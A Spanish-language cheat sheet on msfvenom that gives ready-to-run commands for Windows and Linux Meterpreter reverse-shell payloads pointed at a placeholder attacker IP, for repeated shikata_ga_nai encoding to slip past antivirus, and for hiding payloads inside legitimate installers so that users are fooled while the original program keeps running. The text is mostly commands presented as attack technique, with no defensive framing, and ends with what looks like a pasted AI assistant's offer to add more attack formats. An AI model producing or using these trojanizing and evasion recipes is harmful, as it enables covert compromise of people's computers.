Skip to content

🔧 Msfvenom

Msfvenom es la combinación de msfpayload y msfencode, integrada en una sola herramienta. Permite generar y codificar payloads personalizados para adaptarlos a escenarios específicos, sistemas operativos y arquitecturas.


🔍 Exploración de Opciones

Antes de generar un archivo, es fundamental saber qué opciones tenemos disponibles según el objetivo.

bash
# Listar todos los payloads disponibles
msfvenom --list payloads

# Listar formatos de salida (exe, elf, raw, asp, php, etc.)
msfvenom --list formats

# Listar codificadores (encoders) para evasión
msfvenom --list encoders

🏗️ Generación de Payloads

Para generar un payload básico, necesitamos definir la arquitectura, el tipo de payload, nuestra IP de escucha (LHOST), el puerto (LPORT) y el formato de salida.

Windows (EXE)

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=<PORT> -f exe > payload.exe

Linux (ELF)

bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=<PORT> -f elf > payload.elf

🎧 Configuración del Handler

Para recibir la conexión, debes usar el módulo exploit/multi/handler en Metasploit. Es crítico que el PAYLOAD, LHOST y LPORT configurados en msfconsole coincidan exactamente con los que usaste al generar el archivo.


🔐 Encoding (Codificación)

El encoding se utiliza para evitar que soluciones antivirus detecten el payload mediante firmas conocidas. Al cambiar la estructura del código sin alterar su función, se modifica la firma del archivo.

Uso de Encoders e Iteraciones

Podemos usar la flag -e para elegir un encoder (como el famoso shikata_ga_nai) y -i para definir el número de veces que se debe codificar el archivo. A mayor número de iteraciones, más se alejará el código del patrón original.

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -i 10 -f exe > encoded_payload.exe

💉 Inyección en Ejecutables Legítimos

Podemos "esconder" nuestro código malicioso dentro de una aplicación legítima (como un instalador de WinRAR o un reproductor de música) para engañar al usuario.

Inyección Simple (-x)

Sustituye el código original por el payload. El archivo parecerá el original por fuera (icono y nombre), pero solo ejecutará el payload.

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -x setup.exe -f exe > setup_infectado.exe

Mantener Funcionalidad (-k)

Esta es la técnica más avanzada. Permite que el payload se ejecute en un hilo separado mientras que la aplicación original sigue funcionando con normalidad para el usuario.

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -x setup.exe -k -f exe > setup_funcional.exe

Nota: La flag -k no es infalible. Depende de la estructura del ejecutable original y de si este permite la creación de nuevos hilos de ejecución de forma estable.


¿Te gustaría que añadiera una lista con los formatos de salida más utilizados según el tipo de ataque (Web, Android, Scripting)?

Sin copyright ni nada. Ház lo que quieras con todo esto.